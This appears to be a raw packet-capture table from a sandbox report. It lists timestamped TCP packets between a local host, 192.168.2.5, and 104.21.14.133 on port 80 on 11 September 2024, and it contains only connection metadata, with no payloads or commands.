Sep 11, 2024 18:23:49.427755117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427810907 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427815914 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427820921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427831888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427835941 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427840948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427845955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427858114 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.427858114 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.427858114 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.427921057 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.427921057 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.427926064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427964926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427968979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427979946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427987099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427990913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.427995920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428002119 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428011894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428016901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428023100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428025961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428075075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428075075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428075075 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428107023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428112030 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428116083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428127050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428132057 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428137064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428169012 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428416014 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428425074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428431034 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428436041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428487062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428491116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428494930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428505898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428509951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428514004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428536892 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428536892 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428610086 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428630114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428634882 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428638935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428651094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428656101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428661108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428666115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428670883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428675890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428687096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428692102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428697109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428703070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428718090 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428718090 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428853035 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428858042 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428858995 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428870916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428881884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428884983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428889990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428895950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428903103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428914070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428920031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428919077 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428924084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428929090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428936958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428941011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428946018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428951979 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428956032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428958893 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.428961039 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428967953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428973913 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428978920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428992987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.428997040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429002047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429008961 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429013968 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429013968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429013968 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429019928 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429032087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429064035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429064035 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429076910 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429151058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429156065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429161072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429194927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429198980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429203987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429208994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429213047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429217100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429224968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429229975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429235935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429246902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429246902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429246902 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429251909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429256916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429264069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429269075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429280043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429294109 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429445982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429451942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429455996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429466963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429471016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429476976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429482937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429487944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429497957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429503918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429507971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429508924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429508924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429512978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429519892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429529905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429533958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429539919 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429543018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429546118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429546118 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429609060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429614067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429619074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429632902 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.429662943 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.429662943 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.434050083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434053898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434058905 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434077978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434082031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434104919 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.434406042 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.434773922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434778929 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434782982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434853077 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434856892 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434861898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434871912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434874058 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.434875011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434880018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434952021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434956074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434961081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434967995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434971094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434974909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434979916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434983015 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434987068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434997082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.434999943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435003996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435004950 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435004950 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435014009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435015917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435018063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435034037 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435054064 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435084105 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435096025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435101032 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435105085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435111046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435115099 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435120106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435123920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435127974 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435132027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435214996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435219049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435225010 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435230017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435234070 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435234070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435234070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435237885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435244083 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435247898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435251951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435262918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435266018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435270071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435276031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435280085 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435323954 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435323954 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435323954 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435336113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435362101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435367107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435370922 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435381889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435390949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435395002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435400963 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435405016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435410976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435424089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435437918 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435441971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435446024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435451031 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435456038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435456038 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435456038 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435461044 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435467005 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435471058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435476065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435481071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435483932 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435489893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435494900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435498953 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435503960 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435508966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435513020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435518980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435559034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435559034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435559034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435559034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435559034 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.435817957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435823917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435827971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435839891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435842991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435848951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435854912 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435858965 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435863972 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435873985 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435878038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435882092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.435887098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.436067104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.436067104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.436067104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.436067104 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.437616110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.437619925 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.437624931 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.437702894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.437773943 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.437777996 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.437783003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.437793016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.437849045 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678041935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678050041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678057909 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678065062 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678069115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678073883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678081036 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678085089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678088903 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678096056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678101063 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678107023 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678119898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678123951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678128004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678133965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678133965 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678136110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678141117 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678147078 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678153038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678157091 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678163052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678169012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678174019 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678189993 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678258896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678258896 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678299904 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678304911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678309917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678338051 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678343058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678348064 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678353071 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678378105 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678384066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678390026 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678395033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678414106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678479910 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678484917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678489923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678497076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678499937 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678499937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678505898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678512096 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678515911 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678519964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678528070 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678551912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678589106 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:49.678639889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678644896 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678651094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678666115 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678669930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:49.678678036 CEST	80	49710	104.21.14.133	192.168.2.5
